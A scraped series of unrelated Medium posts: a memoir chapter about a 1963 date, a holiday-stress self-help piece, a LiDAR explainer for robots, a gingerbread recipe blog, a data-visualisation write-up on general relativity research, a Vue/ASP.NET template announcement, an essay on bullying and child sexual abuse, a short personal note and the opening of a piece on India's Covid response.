After a few blinks and a shivery start like she was half-asleep and woke up again, she went on: “The next thing I remember is waking up in bandages, with Mother’s voice on the phone, asking whether I thought she was going to be expected to pay for the rug in the Singmaster’s guest room.”
“What did he do? The Hershey Bar guy?”
“Roger? Nothing. Went back to Providence.”
“You haven’t talked to him?”
“He’s dating some boring Bryn Mawr psych major.”
“Then what?”
“Then what what?”
“What happened after you woke up in bandages?”
“Mother had me carted off to some loony bin in La Jolla. They told her I was schizophrenic. Now she worries I’m going to blow up half the block every time I boil an egg.” She nodded toward the notes on the kitchen wall. “I stayed with Auntie Rose in Laguna. Her house was full of Vedanta swamis. Do you know about Sri Ramakrishna? My cousin’s a Vedanta nun. They have to be celibate, but all she ever thinks about is sex. Everybody goes around like Heloise and Abelard, aching for each other all day and all night. I wanted to be a Vedanta nun, but went to live with Daddy instead, and moved up here…and went back to school…”
“…and met me.”
“…and here we are. I’m sweating like a sow.”
“Want me to turn off the stove?”
“No. I like sweating.” She fanned herself with the hem of her nightgown and I felt warm, humid air wafting into my face and thought about how warm and moist it would be an inch or so inside the elastic of those girlish little white cotton panties.
(Miles Davis, Sketches of Spain)
We didn’t say anything for a long time.( J. S. Bach, The Magnificat) Reflections of the candles flickered in her eyes. Blurred shadows crossed her face. Her appearance changed. Her hair turned long and silvery, and her eyes disappeared from their sockets, and her skin looked old and leathery, like a shrunken head. Then, right in the middle of the huge, scary fantasy I was having, Ginny took a deep, sharp, bone-chilling gasp of breath into her chest. “Ahhh…” like that.
“What’s the matter?” I blinked.
“Nothing.” She couldn’t quite put it into words, but whatever it was wasn’t scary at all, it was good, really good, extra good, amazingly good. Then she seemed to be trying to say something else, but still the words wouldn’t come to her. She shook her hair away from her face and covered her mouth mischievously and laughed and looked at me, wide-eyed, enthralled, delighted, and finally whispered, “Gadfrees! You were glowing! You were like a god! Your hair was long and blond, and your eyes were shining like flames, and you were floating off the floor!”
At first it felt like I just wasn’t focusing right, but then it became clear that she really had changed — and this time what she had changed into wasn’t anything I could have described if we’d stared at each other forever. I blinked again and squinted and made a conscientious effort to try to see what the hell was really going on.
Virginia Good had somehow become someone or something I hadn’t ever dreamed of before. (J. S. Bach, The Magnificat) Her looking like a shrunken head had been understandable, at least — afterimages, me being pretty drunk myself, and all that — but this…I didn’t know what it was. A state of mind? The absence of a state of mind? Whatever it was, she was beautiful, utterly desirable and dangerous, like a bright, poison spider in a sparkling spider web — like a flower, a sublime, deadly flower.
“Do you know “The Rose?” she asked in a dreamy, faraway, tiny little girlish voice. Then she recited it to me in the same dreamy voice:
“O rose…thou art sick. The invisible worm,?
That flies in the night…In the howling storm:?
Has found out thy bed of crimson joy:?
And his dark…secret love…Does thy life destroy.”
“What made you say that?” I asked.
“Gadfrees! I was reading your mind. Was I? I was!”
What she had turned into was spooky. Yeah, she was drunk off her ass, too, probably even more drunk than me, but there was more to it than that. Her eyes had changed. She was deranged. She had no conscience or guilt or guile. She was barely human. She was, like, mythological, surreal, fantastic, bewitching, like someone or something you might see in a painting — someone who’d put a spell on you, someone you’d fall in love with forever if you got the chance, someone you’d have to be in love with no matter what.
The burners on the stove had been on for hours. The room was an incubator. Unexplainable chemical reactions were exuding from under her flannel nightgown, animal smells, feral stuff, musk…and in one great, blazing insight, I came to the inescapable conclusion that if there was ever a time to consummate what was going on between us, that time had come. I had to get her out of that silly little girlish nightgown…and what? Devour her? Eat her alive. Assimilate her. Get so close we couldn’t tell each other apart. Know her. Get her inside me; get me inside her.
Nor was it just my boyish imagination. Ginny wanted whatever was going on between us to get itself consummated pretty soon, too. It was like something really important was at stake, the continuation of the species, maybe, like if we didn’t hurry up and fuck, baboons and orangutans were going to beat us out of our evolutionary place on the planet.
“You were looking like a shrunken head,” I said.
“What?” She crinkled her nose and shook her hair.
“You looked like a shrunken head,” I repeated stupidly.
“That’s my soul. I have an old, shrunken soul.”
“That’s not true.” I waved my hand dismissively. “I’m not glowing. I’m not floating off the floor. And you don’t have an old, shrunken soul.”
“I don’t?”
“No. You have a beautiful soul. Everything about you is beautiful. I love you.”
She blinked.
The spell was shattered.
Holy shit! What was I saying? What had I said? I love you? Had I said that? No. What self-respecting baboon would stop in the middle of ensuring the species its evolutionary place on the planet to say, “I love you?” Humanity’s doomed. Orangutans rule.
“What does that mean?” Her eyes were huge. The question quivered with so many nuances of mirth and pity and hope and disbelief I couldn’t have come up with an answer if there had been one.
Then it didn’t matter anymore. She climbed over into my lap, and the candles were sputtering almost out and flaming up out of pools of melted wax as we rocked back and forth, kissing each other and hugging each other and undressing each other all at the same time until she finally tossed what was left of her nightgown toward the glowing kitchen and said, “I have little boobs.”
“You’re perfect,” I babbled.
She took off her panties, and I got out of the rest of my clothes, and we half stumbled and half carried each other into her bedroom and got under the covers, touching each other, touching each other everywhere all at once, all the time, not ever not touching each other.
Then the phone rang. Then it stopped ringing. Then it rang again. Then it stopped again. Then it rang one more time. It was a special ring. She had to answer it. It was Ronnie, the guy with glasses from New Year’s. Apparently, from what I was able to gather from Ginny’s end of the conversation, Ronnie had just eaten a can of garbanzo beans and something having to do with eating a can of garbanzo beans meant that he had to come over.
“Now?” I asked.
“It’s an emergency,” she said. Childlike mischief blazed in her eyes.
Hey, I had kind of an emergency going on at that point, myself. But Ronnie’s emergency took precedence. I started getting dressed. She didn’t. She stayed in bed. Under the covers. Still sweating. Still exuding. No god damn baboon was going to beat her out of her place on the evolutionary ladder. It was a bit unbearable, if you ask me, but no matter what meant no matter what.
The garbanzo bean guy got there. I turned off “The Magnificat” (J. S. Bach, The Magnificat) and told Virginia I’d call her and left with as much dignity as I was able to muster, which, under the circumstances, wasn’t much.
(Miles Davis, Sketches of Spain)
Then, motherfuck! My car still didn’t start. I’d forgotten all about it. Son of a bitch! All the money I had in the world had gone to fill Ginny’s refrigerator full of more doggy bags than I’d ever seen in one place before, and I still didn’t have Triple-A. I had to go back up and knock on her door again. The garbanzo bean guy had to come out and gave me a push.
My gorgeous white Lincoln coughed and sputtered and spit and finally started. I waved to the garbanzo bean guy in my rear view mirror and was on my way back to San Mateo again, telling myself that going out on a date with Virginia Good had been the stupidest idea I’d ever come up with in my whole entire life.
When I got up to Skyline, I remembered Pete’s directions and it dawned on me that I’d forgotten all about the fucking flowers. She’d forgotten all about the fucking flowers. The garbanzo bean guy probably found the fucking flowers on the table in the hallway and gave them to her when he got back from giving me a push. Fuck the fucking flowers, I wasn’t ever going to get a girl any god damn flowers again in my whole entire life if I lived to be a hundred and three.
When I finally got out of the fog and back onto the El Camino I started rethinking the whole thing. Maybe it hadn’t been such a bad idea, after all. We’d hit it off for the most part, hadn’t we? What the hell more did I want from a first date? We had our clothes off. We were in bed with each other. We were about as close as two people can get to fucking the fuck out of each other. I was god damn glowing, for Christ’s sake. I was like a god. I was floating off the floor — until I remembered the part about saying, “I love you.” That had been the stupidest thing I’d ever said in my whole entire life. I wasn’t ever going to tell any girl I loved her again if I lived to be a hundred and three.
Yeah, well, on the other hand, I mean, who knows, you know? Besides, she was drunk. She had blackouts. She probably wouldn’t remember a thing. Turning into my driveway was a relief. I looked on the bright side. At least my gorgeous white Lincoln had made it all the way home. I hadn’t gotten pulled over for drunk driving. I sat in the driveway thinking that the best thing to do would be just to add it all up — everything that might have been good about it or bad about it, smart about it or stupid about it, forgettable or unforgettable, lucky or unlucky, all of it — just add it all up and stick the whole shebang into that gigantic equation wherein whatever happens is for the best.
I kept on writing Ginny letters. She wrote me letters back. We corresponded, for another year or so. We talked on the phone and hung out with each other now and then. We got to be buddies. We saw Ingmar Bergman movies together.
I took her over to Gordon Lish’s house a couple times. Kesey showed up once — sporting a brand new red, white and blue cap in the shape of an American Flag on one of his front teeth. Ginny thought that was sort of slick, but for the most part, between March of 1963 and March of 1964, I pretty much just bided my time.
She told me about different books to read and thought I might write a book about her someday. I told her I was going to write a book about her someday. She liked that.
She wanted to be Zelda Fitzgerald; she probably was Zelda Fitzgerald. It’s just too bad she never found anyone like Zelda Fitzgerald’s husband to hang out with — someone who could capture her and captivate her and take her places and buy her things and keep her safe, someone who could love her forever no matter what. I tried, Lord knows. But I didn’t succeed. Nobody did. | https://medium.com/@gerardjones/ginny-good-chapter-10-45th-avenue-spring-1963-203388738b80 | ['Gerard Jones'] | 2021-08-02 15:29:39.904000+00:00 | ['F Scott Fitzgerald', 'San Francisco', 'Bach', 'Narrative Nonfiction', 'Flowers'] |
Take A Permanent Holiday From Stress | Have you ever felt the holidays are a stressful time? Does being around your family make matters even worse?
Being around a family can induce stress and bring up things from the past that are painful. These past upsets, trauma, and events can build up over time and unleash themselves at a moment's notice. For example, I have three beautiful daughters and four granddaughters. They are the gift and joy of my life but it’s not always easy. Sometimes we do not see eye to eye or heart to heart.
Not long ago, we celebrated the wedding of my middle daughter, Ashley. The moment was a cause for love, yet it provoked a lot of difficult feelings for my other two daughters and my ex-wife. Their mom and I went through a difficult divorce and it was very hard for the girls. Those past moments of pain, anger, and disappointment were also guests at Ashley’s wedding and nearly erupted into a scene in the midst of it all.
My ex was unfriendly to the guests and downright angry toward me. My youngest daughter did not speak to me for a few months because of the pain it invoked in her. When we live in the past, stress builds up like a ticking time bomb.
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Before getting together with family, choose how you want to show up. You have a choice to give others a lot of space, be forgiving, and mindful of what they are experiencing or you can be unforgiving, intolerant, and annoyed.
Here are 3 tips to head off stress and avoid destructive or painful situations at family gatherings during the holidays.
Be Patient and Create Space
First and foremost, be patient with yourself. If you are feeling upset or ready to explode, take a few breaths. Walk away or go outdoors. Do not act upon your thoughts or feelings.
Patience begins with allowing your own feelings to be felt and let go. For example, at Ashley’s wedding, when witnessing the behavior of my ex-wife, I was tempted to say something. Instead, I chose to walk away and give my feelings space to be felt but not acted upon.
When I say this, I am referring to not reacting to someone’s upset or projection of anger upon you. Doing this activates a neutral territory or what I call a safe zone. This zone allows you and others to come into a loving, compassionate place where they know they will not be attacked nor unheard. It’s not about agreeing with what others are saying, it’s about allowing everyone to share their thoughts and feelings.
Creating space heads off stress before it happens, and most importantly, it releases the stress that has built up over time. It is also where we can allow forgiveness to occur.
Practice Radical Forgiveness
Be in forgiveness. Not just for what somebody else did or what you may have done but for the fact that something went wrong in the first place. When you are confronted with situations that require forgiveness, think of them as an opportunity to undo stress. Any chance to forgive yourself is a chance to let go of stress before it blows up in your face. I always began by forgiving myself for being part of an unfortunate situation. It was an error, not a crime. There is no need to carry guilt and punishment for anything that has happened.
Recently, my family was having a beautiful sunset dinner near my home in Santa Barbara, when I innocently said something that triggered a negative response in my older sister. She blew up in public. I took responsibility. I forgave myself. I forgave her. It was all an error in judgment.
If we don’t forgive the person and the event and let it go, it will have a hold over us. Do you want to let somebody like your brother, uncle or mother have power over your happiness? Of course not. So practice radical forgiveness. Nothing relieves stress more than forgiveness. The safe zone is also a space for allowing forgiveness to occur.
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Be Rigorously Mindful
Be rigorously mindful of thoughts, words, and deeds. Mindfulness begins with intently listening to others. Often times it reveals their own pain and suffering.
When we are listening and we get triggered by a word or a look, we are actually listening to our own thoughts and emotions, as opposed to what the person is sharing. We are preparing to project our thoughts of pain, suffering, opinion, and indignation back on to the person. This just precipitates more stress.
The idea of rigorous mindfulness is about being mindful of the need to perceive yourself as being unfairly treated. In other words, past events act out and take over your thoughts and actions when you become the victim of what the other person is saying. You may feel as if they are attacking you and the need to defend yourself. And, you should defend yourself if they are physically attacking you. However, most often the person doing the attacking is doing so verbally, and is in deep pain and in need of compassion.
Mindful listening can help to avoid stressful situations by heading stress off at the pass. When you attack, you only attack yourself and bring harm to your peace of mind.
The Secret: Be Patient, Forgiving, and Mindful
During the holidays and at any time, be mindful, forgiving, and patient. When you do these three things, you can free yourself once and for all of what otherwise could be a nightmare of a holiday season.
Have a happy stress free holiday season!
Blessings and Godspeed,
Adam
Download My 10 Steps to Creating Balance, Purpose, and Fulfillment in Your Life | https://medium.com/@adamchall/take-a-permanent-holiday-fr-48fdffee7dca | ['Adam C. Hall'] | 2020-12-28 19:44:51.182000+00:00 | ['Stress Management', 'Holiday Season', 'Holiday Stress', 'Stress', 'Holidays'] |
LiDAR for Your Indoor Robots | What is common between a Waymo/Uber Self Driving car and the latest iPhone. The LiDAR! And that is what we hope to delve deeper into over the next few paragraphs.
LiDAR is an acronym for Light Detection and Ranging. Put simply, it is a sensor that estimates the distance to an object by shooting a ray of light and measuring the time taken by the reflected ray to return to the point of origin. You can find more details about the history and the technology behind LiDARs here. LiDARs come in various form factors. Velodyne, Sick, Ouster, Hokoyu, Slamtec, Pepperl +Fuchs are some popular vendors of LiDARs.
A mobile robot needs to have a 360-degree view, not just what lies ahead of it. To achieve this, it will need to fire rays in all directions and capture the resulting reflections. Instead of doing this with multiple LiDARs, it is a common practice to spin a LiDAR on its vertical axis. These are the Spinning LiDARs that are commonly used in mobile robots. A 3D LiDAR is an extension of the 2D LiDAR. It can be visualized as multiple 2D LiDARs that are stacked together.
In order to achieve autonomous navigation, mobile robots need to gather information about what is around them. Such information is used to:
1. Create a map -
· To know where it is in the room. This is called localization. If the robot is localizing while simultaneously creating the map of the place, it’s called ‘Simultaneous Localization and Mapping (SLAM)’. LiDAR (for SLAM) is not needed if an absolute positioning technology like Indoor GPS is being used.
· To figure out optimal paths from start to goal location. This is called path planning.
2. Locate obstacles and go around them.
3. Move around safely
LiDAR is one of the most robust and easiest ways to do all three of them.
How to choose a LiDAR:
1. For SLAM
In extremely simple terms, the LiDAR-based SLAM works by matching the current scan with previous scans or map/scan-based models. Therefore, the scan at every point of the time should contain features (walls, furniture, or other physical objects) that can be identified.
A LiDAR used on an indoor office robot should have a range that is at least 20% more than the distance between the parallel walls of the rooms the robot is operating in. Now for warehouses, this is hard to achieve, therefore the range of the LiDAR can be decided based on the distance between shelves and machines. The range of the LiDAR should be enough such that at each point it should be able to capture at least one static/permanent component in that warehouse. If a robot with a LiDAR that has a range of 10 meters is left in the middle of a stadium, it will fail to identify permanent features. This will lead to large errors in the robot’s position estimation.
This page does a good comparison of different LiDARs in the market.
2. For obstacle avoidance
The range of the LiDAR used for obstacle detection depends on a host of factors: Obstacle horizon, speed, load, inertia, and dynamics are some of them. , For a robot with large inertia, the obstacle horizon should be large too. A short obstacle horizon for a robot with large inertia can cause collisions. The range of the LiDAR should be at least 20% more than the obstacle horizon.
3. Safety Lidar
LiDAR is quite a popular option for safety sensors in Autonomous Guided Vehicles and Autonomous Mobile Robots. Most of the time it is a mandatory requirement for industrial mobile robots. More on this here.
Mowito provides a brilliant trajectory planner that can avoid dynamic obstacles and operate at frequencies as high as 50Hz using the LiDAR data. If you are building an AMR, feel free to write to us at [email protected] and we would be glad to work with you. | https://medium.com/@mowito/lidar-for-your-indoor-robots-cacdcf08d2aa | [] | 2020-10-21 08:56:55.001000+00:00 | ['Artificial Intelligence', 'Autonomous Vehicles', 'Lidar', 'Future', 'Robotics'] |
“Gingerbread Cookies” is Sugar and Spice and everything nice :-) | “Believe” in the magic of Christmas !
Gingerbread cookies are synonymous with Christmas time baking tradition. As a kid, I remember reading Enid Blyton books that often mentioned gingerbread cookies. I remember one of my favourite series Malory Towers in which the girls had a midnight feast of gingerbread cookies :-) I used to always imagine what would these be like… now since Ive gotten around baking them — I just can eat a whole batch my self with a cup of coffee!
What makes the Gingerbread cookies special is that it is a perfect blend of heady warmth of spices from ginger , cloves and cinnamon with the sweetness from molasses and brown sugar . Coming to the cookies now … hahaha… these indeed make the house smell like christmas and joy !
Same evening I baked these I was also decking up the Xmas tree at home – and I put up an ornament that says “ Believe” ! Though it’s been a tough year for all , let’s end with some cheer and believe in the magic of Christmas !!
I followed the recipe from sallysbakingaddiction — https://sallysbakingaddiction.com/best-gingerbread-cookies/
I think its perfect recipe i followed to the T ! Don’t forget to put he molasses — it adds a caramel dark sweetness to the cookies .
Do make these and have your selves a merry little Xmas cause Tis the season to be jolly… Falalalala…la la la la !
I haven’t typed the recipe — please click on link above , cause its Xmas and im chilling with the carb overload! | https://medium.com/@cookbakesmile/gingerbread-cookies-is-sugar-and-spice-and-everything-nice-d45fa6c420bf | ['Upasna Kapur'] | 2020-12-25 08:24:16.657000+00:00 | ['Gingerbread Cookies', 'Christmas Baking', 'Joy'] |
Relativity’s Landscape | When Scientific American contacted OCR with the prompt of visualizing the impact of Einstein’s General Relativity theory on the centenary of its publication, we were pretty excited. We had a few ideas of avenues to explore, but first we needed a dataset.
First attempts and dead-ends
Princeton University recently digitized all the papers and correspondence that Albert Einstein wrote from his youth until 1923, which can be browsed on their digital collection. While Einstein was developing the general theory of relativity for about a decade, it wasn’t until the Field Equations of Gravitation paper, published in November 1915, that he finalized the mathematical models necessary to support his theory. Our initial concept was to use this paper as a starting point in a citations trail to map the reaches of the General Relativity paper over the past 100 years.
We looked at a number of open and closed scientific databases, such as Scopus, Google Scholar and Web of Science, to see how we could go about creating a citations trail. However, while some databases were more complete than others, very few contained citations data that predated 1970. This has to do with the fact that citations in scientific papers were not as standardized in the early part of the twentieth century as they are now, and that scientific databases are more likely to upload newer papers and citations data than historical data.
There has to be a better way…
Since there were too many gaps charting the impact of general relativity over time through citations, we decided to use the plethora of current scientific papers to take a snapshot of research actively engaging with principles derived from the theory of general relativity.
We decided to use Cornell University Library’s open database arXiv.org, which some consider to be the most current repository of research since scientists can upload papers before they’ve been published. ArXiv.org also categorizes papers that pertain to different areas of science, and within that, physics. One of arXiv.org’s subcategories of Physics is General Relativity — Quantum Cosmology (gr-qc). For our dataset, we selected papers with gr-qc as their primary category, since we could be sure that they related to general relativity. We looked at all papers in the gr-qc category that were uploaded to arXiv.org in 2014, to give us the most recent complete year of papers.
The ins and outs of an API
While arXiv.org is great in that it’s an open database (not behind a paywall), and has an API, the API is a bit confusing to use and not fully documented. For instance, we were interested in accessing references and citations for papers, which can be done on the website, but there was no call in the API outlining how to do so (we were left to our own devices to get this data…). In addition, we couldn’t query by year, but had to use the somewhat clunky “start” and “max_results” filters with the sortBy filter set to “submittedDate” to get the year we were interested in.
While we did collect citations data from arXiv.org, there weren’t that many citations linkages since all the papers we examined are from 2014, and don’t often cite one another since they’re all very recent. We needed to generate our own metrics to determine the most popular research topics related to general relativity. For each paper in the the General Relativity — Quantum Cosmology category we collected the following information:
Title
Abstract
List of Authors
URL
Primary Category
Subcategories (if any)
References (if any)
Citations (if any)
Published / Not yet published
Example of a record returned by the arXiv.org API
If at first we don’t succeed, let artificial intelligence take the lead
Since we couldn’t rely on citations data to create links between papers, we decided to look to the text of the abstracts to see if we could group papers based on common research areas. We turned to the Alchemy API to process the 2,435 paper abstracts of all the papers added to arXiv.org in 2014 and tagged with General Relativity — Quantum Cosmology (gr-qc) as their primary category. The Alchemy API, which is now part of IBM’s Watson platform, lets users leverage machine learning capabilities for image and text processing. We were specifically interested in the AlchemyLanguage Concept Tagging API, which we used to analyze the paper abstracts.
When we ran the corpus of abstracts through the Alchemy API it returned a list of concepts, as well as a score of relevance for each detected concept, with a range of 0.0–1.0, 1.0 being the most relevant. Alchemy returned over 1500 concepts after analyzing the 2,435 abstracts. We totaled the scores for each concept to determine the “most popular concepts” among all the abstracts. This list was heavily edited to cull redundant words, topics, and finally reduced to 61 concept terms that the editors at SciAm deemed relevant to physics and general relativity.
Laying out the network — making connections and forming relationships
First, we wanted to see how the concepts themselves related to one another. Using a network graph layout, we created links between concept terms that were found in the same papers. When we evaluated a pair of concept terms, we counted what percentage of the total papers they share in common, as well as their combined Alchemy relevance score. Using the toxiclibs Processing library, we generated a basic layout model for the concepts. If two terms have a higher percentage of papers that share those terms, they have a stronger network graph link. The terms with more connections were more fixed (and more popular), and provided the central nodes that the other terms organized around.
The base network of 61 concepts, brighter nodes are concepts that appear in more papers.
After laying out the 61 concept terms in the network diagram, we needed to arrange the papers around the terms they referenced. Using a particle physics simulation, terms acted as gravitational attractors to the papers. Daniel Shiffman’s Box2D processing library was used to prevent articles from overlapping while they were being pulled towards their preferred location. This pushed articles upward that grouped around more popular terms, creating peaks around terms like ‘Black holes’ and ‘Quantum gravity.’ Although there were over 1500 concepts that Alchemy had returned from all the papers, a few of the papers did not contain any chosen concept terms since we’d narrowed it down to 61. If papers did not contain one of the 61 chosen concepts, we used a combination of shared references, citations, and keyword matching with the abstract text to locate the papers nearest to the papers most relevant to them.
While the visualizations for the print version of Scientific American are more legible as top and side views, we created them with a 3D layout built with Processing.
3D view of Processing sketch used to generate print graphics
Moving from a 2D to a 3D world
For the interactive component to the graphic, we decided to let users explore the 3D environment, allowing them to zoom in and out on areas that interested them. In order to draw in 3D on the web we turned to three.js, the wonderful WebGL library created by mrdoob. We saved out the positions of the terms and papers from the print version generated in Processing, and used these values to draw the shapes in three.js.
Some notes on our approach
Since the graphic was published, we’ve seen questions pop up on Twitter about our process for laying out the papers. Someone suggested we might have used the t-SNE method to layout the papers, which visualizes multi-dimensional aspects of data in 2D space. We didn’t use a multi-dimensional approach, but relied on the Alchemy API and network layout models to group the papers after analyzing their abstracts.
Our visualization approach was not as straightforward as you would get in a layout function from Gephi, but more an interpretive analysis that allowed us to spatialize the dataset around concepts that we curated for relevance. The Alchemy API allowed us to generate numerical relationships between the papers themselves when a citations link did not exist. As we laid out the articles in a sort of generative terrain, we realized that we needed to give more “gravity” to unpopular terms, so that the large groupings forming around popular terms would disperse into more discrete clusters.
And some lessons learned
One aspect we found interesting are the articles with more than 850 authors, which are highlighted in red in the visualization. Articles with this many authors are all related to the LIGO Detector gravitational wave detection, and authored by the LIGO Scientific Collaboration. It was also surprising to realize that one paper, submitted in March of 2014, had already been cited 85 times a year later. This paper focused on advancements of tests of the general theory, which are still being done today, which made us realize how much of science is a constant process of experimentation and re-evaluation, even with ideas that have been given the status of “theory.”
This project involved a fair amount of trial and error. Sometimes there is a promising germ of an idea but it’s hard to predict what the data will actually yield. The kind of visualization that is possible to create depends on the data that can be found and understood. As is often the case, datasets are not always complete, or readily accessible. Working with a historian of science to map citations in early physics papers would have been great, but we needed to change directions once we realized that wasn’t feasible in our scope of time. As designers, there are a many ways we can tell a story, and determining the best way forward is an iterative process of research, sketching and prototyping. Sometimes a visualization utilizes “neutral” scientific data, while other times, like this, it depicts a collaboration between natural language processing algorithms and scientific expertise and curation. In any case, it’s not quite a surprise that Einstein’s ideas are still relevant today, but it is amazing to realize how many aspects of research in the quest to better understand our universe they’ve made possible. | https://medium.com/memo-random/relativity-s-landscape-422d4f7ed20e | ['The O.C.R.'] | 2015-09-03 20:05:16.207000+00:00 | ['Visualization', 'Big Data', 'Physics'] |
Template — Vue JS 3.0 + Asp.Net Core 5.0 — Visual Studio 2019 | I’m a big fan of Vue JS and .NET platform on the same page. I got pretty satisfying results using both in projects of any size and complexity.
By default, the Visual Studio does not have any native template specifically for Vue JS + Asp.Net Core, like it has for Angular + Asp.Net Core. Setup from scratch a Vue JS application including routes, initial components, API call configuration, CSS libraries (and others) may take a little time. Additionally, the integration with Asp.Net Core in the same project requires the use of a custom Middleware and extra configurations on Startup.cs.
Because of that, I created to help the technical community my own template of Vue JS 3.0 and Asp.Net Core 5.0 Web API application. You can download the extension for Visual Studio 2019 over here:
Installation
To use it just download the extension at the given link and follow the step by step after executing the file:
Usage
After the installation, a new project type will be available on Visual Studio. Choose the option to create a new project and search template by name: | https://medium.com/js-dojo/template-vue-js-3-0-asp-net-core-5-0-visual-studio-2019-a18dd43b076b | ['Alexandre Malavasi'] | 2020-11-30 03:59:45.974000+00:00 | ['Aspnetcore', 'Aspnet', 'Vuejs 3', 'Dotnet', 'Dotnet Core'] |
DEVALUATION: How Society Makes Horrific Experiences for Survivors Even Worse | DEVALUATION: How Society Makes Horrific Experiences for Survivors Even Worse
DEVALUATION: How Society Makes Horrific Experiences for Survivors Even Worse
People can make you feel like an outsider in your own body.
People can make you feel like an outsider in your own family.
People can make you feel like an outsider in your own community.
People can make you feel like an outsider in your own country.
Parents of bullied children. Members of the LGBT community. Black women. We are all frequently sounding the alarm on the critical impact of making jokes and punch lines at the expense of young children.
As a society, as family members, as schoolmates, and siblings; we laugh AT children almost habitually. Some people don’t even think about it sometimes.
When we hear about it on television, in the media, or with peers….we barely notice it.
The truth is, our words and actions have energy …..and consequences.
Painful, enduring consequences.
https://www.wesurviveabuse.com/did-you-hear-the-joke-about-blue-ivy-brown-girls-sexual-abuse-me-neither/
BARRIERS
When it comes to child sexual abuse, it can create additional barriers to telling a safe adult. Unearned shame and guilt can cause further harm to victims.
Some years back, I was an interviewer of sexual violence victims for a collaborative research project between state, federal, and a highly regarded university.
I recall interviewing a woman I will call *Mandy. Mandy was considered to the far less pretty sister in her family.
Her sister *Hannah was considered the family prize trophy. Hannah had won a lot of beauty pageants, she was smart, she was fun to be around and people instantly liked her.
Meanwhile, throughout her whole childhood, Mandy was constantly dealing with having her body and features compared to her sister. Mandy never came out on top.
Mandy shared stories about the sexual abuse that she suffered at the hands of her cousin. She also talked about how hard it was to speak up about anything that was a concern to her because: “the ‘ugly one’ was expected to be grateful” that anyone gave her anything.
Anything= nice clothes, accessories, toys, care during her sick days, food, shelter, and especially attention. From Mandy’s perspective; It sounded like her family viewed these things as a hardship to provide seeing as how she was “ugly”. Bestowing kindness, gifts, and human care was no problem when it came to Hannah though.
Mandy told me about the time that she tried to tell her mother about the abuse. Mandy was able to sense that something was off. Something was wrong. She bravely went right to her mother during the early stages of grooming.
The only advice Mandy recalls receiving was to, “stay away from him”.
“He likes you for some reason”
Further, Mandy was instructed not to ever tell anyone. It was Mandy’s impression that the priority was to protect the image in the large framed image over the fireplace.
When the children and adults around Mandy were bullying, teasing, and devaluing her; it was as if they were adding more padlocks to the cell she felt trapped in. When I talked with Mandy she was 15 -20 years beyond her childhood years.
After several mental health stays, life choices that left her personally feeling dehumanized, and overcoming a substance use addiction-it was still right there.
You could feel it.
You could hear it.
It was in the room with us.
Mandy still hurt like her childhood was just the other day. Of course she did……..
When faced with conflict, threats, harm, or abuse; young people who aren’t accepted can struggle. Young people may feel:
They deserve bullying and/or abuse
If they didn’t look like an “outsider” they wouldn’t be subjected to bullying and/or abuse.
As if they have no right to complain about the treatment/or abuse that they are being subjected to.
A greater sense of shame and guilt for the abuse or harm.
This was a big part of Mandy’s struggle.
How she was made to feel about herself….
The fact that people failed to value, empower, and uplift her…
The fact that the people around her chose not to hear her…
All of these things impacted her past and present struggle to heal from her traumatic experience.
WHO DO WE THINK WE ARE?
You know, I wonder sometimes…..who do we think we are?
The human body (mind, body, & soul) continues to be a mystery.
Yeah, we’ve learned quite a bit of amazing things.
But as my Granny used to say: “It’s a whole world of stuff we don’t know.
We can choose to embrace differences.
We can choose to see the unique and distinct beauty in every different type of human being.
We can choose to be amazed. We can choose to bask in wonder.
We can choose to be in awe of the energy, the force, the being who meticulously crafts so many different types of individuals.
Billions of people all over this planet alone, yet no two are exactly alike!
Even the twins and the multiples. Similar, but different.
But like the flawed human beings we are, we mock differences.
We make laws and policies against anything that further pronounces human differences.
Assimilation is demanded and enforced by racism. By sexism. By ableism.
By force. By violence. By sexual violence.
The people who have the audacity to be different, to look different, are often targeted by violence and abuse.
MINDFULNESS
We have to stop pretending that bullying, teasing, and mocking is business as usual. That it is the “way things are” and “what we do.” We are better than that. We can grow. We can change.
We have to keep in mind that when we mock, tease, or make harmful jokes about people’s differences; we can be doing for more harm than we realize.
Additional Reading:
https://www.nsvrc.org/blogs/6-reasons-why-abusers-larry-nassar-avoid-detection | https://medium.com/@tonyagjprince-93070/devaluation-how-society-makes-horrific-experiences-for-survivors-even-worse-94437cc78dae | ['Tonya Gj Prince Wesurviveabuse.Com'] | 2020-01-03 09:30:47.749000+00:00 | ['Sexual Assault', 'Rape', 'Child Sexual Abuse', 'Bullying', 'Survivor'] |
I be here every night just chillin wishing you were here, I just be imagining you coming back one… | I be here every night just chillin wishing you were here, I just be imagining you coming back one day
I’m sorry if you don’t want these emails I don’t know what else to do to try to get to you that is acceptable In this situation where I feel like you want us to talk yet I’m not getting anything back
I’m afraid to quit trying cause I don’t want us to fade away, I want us to figure this out and grow
Not like this though, this silent treatment is having a negative impact. I want us to be able to talk and be friends at the least | https://medium.com/@patrickdjwilliams/i-be-here-every-night-just-chillin-wishing-you-were-here-i-just-be-imagining-you-coming-back-one-31e80d8799fe | ['Patrick D.J. Williams'] | 2020-12-27 18:16:41.846000+00:00 | ['Romance', 'Getting Her Back', 'Love'] |
India cannot fight Coronavirus without taking into account its class and caste divisions | How do you discuss self quarantine with a person sharing a tiny shanty with 10 people in a slum? How do you advise social distancing to a manual scavenger? How do you tell an Adivasi, who struggles for one meal a day, to prioritise hand sanitisers? How do you educate tuberculosis survivors about cough etiquette?
The epicentre for the global pandemic, Covid-19, recently shifted from China to Europe. China’s authoritarian regime controlled it by enforcing a lockdown, and Europe and the United States are putting all their resources to use.
The dominant narrative in India so far has been either about the state enforcing lockdowns or encouraging social distancing, self-quarantine, hand hygiene and cough etiquette. Driven by political optics, public perception and international pressure, these measures are important but coloured with class bias. India must rethink its strategy of epidemic management to be more inclusive of the marginalised sections of the society.
India needs to adopt global lessons into its local context — and ask its own questions. How does it impact a malnourished patient? What happens when it infects a tuberculosis survivor? In urban slums, what will be the average number of people who will catch a disease from an infected person? What public health measures could be applicable there? What could be an affordable alternative to hand sanitisers? How can accredited social health activists and auxiliary nurse midwives triage Covid-19 — or decide the order of treatment of patients — to prevent overwhelming health systems? How do we adapt to provide services for all other diseases while building capacity for Covid-19? How to engage the profit driven private health care partners to provide care in a people-centric manner?
Jan Swasthya Sahyog in Bilaspur. Photo by Rohit Pansare, 2016.
Socio-economic fallout
